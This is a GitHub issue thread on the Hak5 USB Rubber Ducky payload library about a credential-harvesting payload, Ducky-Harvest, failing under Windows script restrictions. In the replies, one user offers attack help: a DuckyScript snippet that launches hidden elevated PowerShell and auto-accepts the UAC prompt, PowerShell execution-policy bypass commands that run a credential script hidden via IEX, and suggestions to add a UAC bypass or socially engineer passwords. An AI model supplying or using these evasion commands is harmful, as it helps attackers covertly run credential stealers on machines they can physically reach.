[Ducky-Harvest] Permission Errors

[twohandedhacker]

Payload Title

Ducky-Harvest

Payload URL

https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/credentials/Duckie-Harvest

Payload Setup

Just Removed the Reverse Shell Stuff

Problem Description

Is this supposed to auto-run? I got several errors about how my test Machine needs to have scrips allowed. If in a pentest the target has scripts restricted then the payload cannot run.

Troubleshooting steps

I was able to get this payload to run but only by changing settings manually. Maybe add some powershell commands to allow scripts at an elevated level

Suspected Cause

No response

Screenshots or additional information

By the way, checkbox "requirement" number 8 is really clever. Kudos to whichever genius thought of that ;)

Checklist ✅ - READ CAREFULLY

• I checked and didn't find a similar issue already reported
• I am using PayloadStudio to encode this payload
• I made sure to redact any private information in the details shared above
• I have read and followed the documentation provided by the original payload author and configured the payload (if required)
• I have confirmed I am deploying this payload with the correct device intended by the original author (Original USB Rubber Ducky vs New USB Rubber Ducky)
• I have confirmed I am deploying this payload on the correct target host intended by the original author (Windows, Mac, Linux, etc)
• I have confirmed the payload is compiled in the correct keyboard language for the target host I'm trying to deploy it on (US, DE, etc)
• I have actually read the above checkboxes before checking them, including this one, which I have intentionally left unchecked as confirmation of this statement

Agreement

• I believe this is an issue with the actual payload itself. I acknowledge this form is not a request for help following instructions.
• I have carefully read and filled out every section of this issue form to the best of my ability. I acknowledge by providing insufficient information I cannot receieve adequate assistance.

[bad-antics]

Hey! Permission errors usually mean one of these:

For Windows targets:

UAC (User Account Control)
Most payloads need admin privileges. You have a few options:

1. UAC Bypass - Add a UAC bypass at the start of your payload
2. Target admin accounts - Test on accounts with admin rights
3. Modify payload - Some scripts can work without admin (depends on what you're doing)

For Linux/Mac targets:

You'll need sudo and the target's password, which makes BadUSB tricky. Consider:

• Payloads that don't need root (user-level exfil)
• Social engineering for password

DuckyScript 3.0 tip:

You can add conditional logic:

ATTACKMODE HID
DELAY 1000
GUI r
DELAY 500
STRING powershell -w h Start-Process powershell -Verb runAs
ENTER
DELAY 2000
ALT y

This attempts UAC elevation with the ALT+Y to accept the prompt.

Test environment tip:

Disable UAC for testing, then re-enable when you have a working payload.

What OS are you targeting and what's the payload trying to do?

[bad-antics]

This is expected behavior on modern Windows systems with default security policies.

The issue: PowerShell's execution policy blocks unsigned scripts by default. The Ducky-Harvest payload runs a PowerShell script that gets caught by this restriction.

Fix — Add execution policy bypass to the payload:

Add these lines at the beginning of the PowerShell execution section in payload.txt:

REM Bypass execution policy before running the script
STRING Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force; 

Or even better, wrap the entire PowerShell invocation like this:

STRING powershell -ep bypass -w hidden -c "IEX (Get-Content $duckletter\sy_cred.ps1 -Raw)"

The -ep bypass flag overrides the execution policy for that specific process without needing admin rights or changing system-wide settings.

Alternative approach (more reliable):

Instead of relying on execution policy changes, you can inline the script directly in the DuckyScript using STRING commands with powershell -ep bypass -nop -w hidden -c "..." — this avoids the need to load external .ps1 files entirely and works regardless of policy settings.

This is a known limitation of any payload that relies on external PowerShell scripts — the bypass needs to be built into the DuckyScript payload itself.